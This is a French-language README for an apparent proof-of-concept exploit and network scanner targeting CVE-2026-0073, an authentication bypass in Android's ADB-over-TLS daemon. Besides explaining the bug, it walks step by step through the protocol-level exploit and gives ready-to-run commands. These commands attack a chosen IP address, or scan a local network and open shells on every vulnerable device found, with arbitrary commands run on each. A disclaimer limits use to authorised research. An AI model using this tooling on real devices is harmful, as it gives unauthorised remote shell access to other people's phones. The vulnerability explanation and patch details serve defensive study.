
Un outil PoC pour la CVE-2026-0073 sur les appareils Android 11+ qui permet une exécution de code à distance (RCE) instantanée en zéro clic sur tout appareil non corrigé avec adb sur tcp activé.
Une preuve de concept d'exploit et un scanner réseau pour CVE-2026-0073, une vulnérabilité critique d'exécution de code à distance sans interaction ni clic dans le chemin d'authentification ADB-over-TCP d'adbd sur Android.
La vulnérabilité est un bug logique dans adbd_tls_verify_cert() (daemon/auth.cpp) où EVP_PKEY_cmp() est traité comme un prédicat booléen. Lorsqu'une clé RSA stockée est comparée à un certificat client TLS non-RSA (EC P-256 ou Ed25519), l'API renvoie -1 (incompatibilité de type), ce qui est truthy en C/C++. Cela transforme une incompatibilité entre algorithmes en une correspondance réussie de clé hôte — contournant entièrement l'authentification.
Détails techniques obtenus auprès de BARGHEST.
Code PoC de base provenant de SecTestAnnaQuinn.
Corrigé dans le Bulletin de sécurité Android — mai 2026.
Depuis le contexte shell, un attaquant peut inspecter les propriétés système, l'état des processus, les journaux, les notifications ; installer et supprimer des paquets ; utiliser run-as contre les applications débogables ; et préparer une exploitation ultérieure.
| Fichier | Objectif |
|---|---|
adb_tls_auth_bypass.py | PoC d'exploit mono-cible (original de SecTestAnnaQuinn, corrigé pour la somme de contrôle) |
adbt_scanner.py | Scanner réseau — découvre les appareils vulnérables + les exploite |
requirements.txt | Dépendances Python |
Pour que l'exploit réussisse, l'appareil Android cible doit avoir :
adbd de la plateforme)/data/misc/adb/adb_keys# Créer l'environnement virtuel
uv venv
# L'activer
source .venv/bin/activate
# Installer les dépendances
uv pip install -r requirements.txt
Dépendances :
Le scanner se dégrade gracieusement lorsque des paquets optionnels sont manquants — il émet un avertissement et revient à des méthodes alternatives (commande système ip, nmap, scan de connexion TCP).
Attaquez directement un appareil vulnérable connu.
python3 adb_tls_auth_bypass.py 192.168.1.42 # shell interactif
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Ou via le scanner :
python3 adbt_scanner.py --host 192.168.1.42 # shell interactif
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Scannez le réseau local pour trouver des appareils vulnérables et exploitez toutes les cibles confirmées.
# Scan complet : mDNS → ARP → scan de ports → sonde ADB → exploit
python3 adbt_scanner.py --scan
# Exécuter une commande spécifique sur tous les appareils vulnérables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Reconnaissance uniquement — découvrir sans exploiter
python3 adbt_scanner.py --scan --no-exploit
# Scanner plusieurs ports
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Remplacer le sous-réseau détecté (hôtes multi-hébergés, plages spécifiques)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Régler les délais d'attente pour les réseaux lents
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Étendre la fenêtre d'écoute mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Ignorer des phases de découverte spécifiques
python3 adbt_scanner.py --scan --no-mdns # ignorer mDNS, ARP uniquement
python3 adbt_scanner.py --scan --no-arp # ignorer ARP, mDNS uniquement
--scan Scanner le réseau pour des appareils vulnérables + exploiter
--host HOST Exploit direct mono-cible
--port PORT Port ADB pour le mode --host (défaut : 5555)
--cmd COMMAND Commande shell à exécuter
-v, --verbose Journalisation détaillée
--mdns-timeout SECONDS Durée d'écoute mDNS (défaut : 30)
--ports PORTS Ports séparés par des virgules en mode --scan (défaut : 5555)
--subnet CIDR Remplacer le sous-réseau détecté (ex. 192.168.2.0/24)
--connect-timeout SECONDS Délai d'attente de connexion TCP (défaut : 2.0)
--probe-timeout SECONDS Délai d'attente de la sonde ADB (défaut : 3.0)
--arp-timeout SECONDS Délai d'attente du balayage ARP (défaut : 3)
--no-mdns Ignorer la découverte mDNS
--no-arp Ignorer le balayage ARP + le scan de ports
--no-exploit S'arrêter après la phase de sonde du protocole ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. Détection de sous-réseau — netifaces → ip route → astuce socket │
│ 2. Écouteur mDNS — _adb-tls-connect._tcp (30 s par défaut) │
│ 3. Balayage ARP — scapy.arping → nmap -sn │
│ 4. Scan de ports — connexion TCP à chaque hôte:port │
│ 5. Sonde du protocole ADB — envoyer CNXN, classer la réponse │
│ │
│ STLS → VULNÉRABLE (passer à l'exploit) │
│ AUTH → authentification ADB héritée (pas cette CVE) │
│ CNXN → ouvert, sans authentification (déjà accessible) │
│ NO_ADB → pas un service ADB │
│ │
│ 6. Exploitation — mise à niveau TLS → contournement d'auth → shell │
└─────────────────────────────────────────────────────────────┘
mDNS est la méthode d'identification la plus précise : lorsque le débogage sans fil est apparié, Android diffuse _adb-tls-connect._tcp explicitement. Le balayage ARP + le scan de ports servent de solution de repli fourre-tout.
Phase 1 — ADB en clair
Client → CNXN(payload="host::features=...")
Appareil → STLS (mise à niveau TLS requise)
Phase 2 — TLS 1.3 avec certificat client inter-algorithmes
Client → réponse STLS
Client → poignée de main TLS 1.3 + certificat client EC P-256
L'appareil appelle adbd_tls_verify_cert() :
known_evp = clé RSA depuis /data/misc/adb/adb_keys
evp_pkey = clé EC P-256 depuis le certificat client
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (incompatibilité de type)
if (-1) → verified = true ← BUG : -1 est truthy
Phase 3 — Couche de service ADB post-TLS
Le client vide le CNXN de l'appareil (transport déjà en ligne)
Aucun CNXN hôte envoyé (déclencherait l'expulsion handle_new_connection)
Client → OPEN(local_id, window=32MB, payload="shell:\x00")
Appareil → OKAY → flux shell établi
shell (uid=2000). La compromission du noyau, l'accès root et les clés du trousseau matériel nécessitent une élévation supplémentaire./data/misc/adb/adb_keys. Un appareil fraîchement réinitialisé avec le débogage sans fil activé mais jamais apparié n'est pas vulnérable.AUTH, pas STLS, et ne sont pas affectés par cette CVE.EVP_PKEY_cmp pour exiger une valeur de retour exacte == 1.Ce logiciel est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Les outils et le code de ce dépôt sont destinés à aider les professionnels de la sécurité, les chercheurs et les propriétaires d'appareils à :
Vous ne devez pas utiliser ce logiciel :
L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions et peut entraîner des sanctions pénales et civiles. Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences juridiques découlant de l'utilisation de ce logiciel.
Utilisez de manière responsable. Connaissez votre cible. Obtenez l'autorisation.
CC0 1.0 Universal — Aucun droit réservé.
Dans la mesure permise par la loi, les auteurs ont renoncé à tous les droits d'auteur et droits voisins ou connexes sur cette œuvre.
| Attribut | Détail |
|---|
| Vecteur d'attaque | Réseau (adjacent / proximal) |
| Interaction | Aucune (zero-click) |
| Privilège obtenu | Utilisateur shell (uid=2000), SELinux u:r:shell:s0 |
| Primitive d'exploitation | Accès shell distant via ADB |
| CVSS | Critique (9.8) |
| Paquet | Utilisé par | Requis ? |
|---|
cryptography | Les deux scripts (génération de certificat EC, TLS) | Oui |
netifaces | Scanner (détection de sous-réseau) | Recommandé |
zeroconf | Scanner (découverte mDNS) | Recommandé |
scapy | Scanner (balayage ARP) | Recommandé |